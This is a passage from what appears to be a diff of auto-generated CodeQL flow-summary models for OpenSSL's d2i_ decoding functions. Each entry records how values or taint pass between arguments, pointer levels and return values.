**,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_KeyParams", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_KeyParams", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_KeyParams", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_KeyParams", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_KeyParams_bio", "(int,EVP_PKEY **,BIO *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_KeyParams_bio", "(int,EVP_PKEY **,BIO *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_KeyParams_bio", "(int,EVP_PKEY **,BIO *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_KeyParams_bio", "(int,EVP_PKEY **,BIO *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const 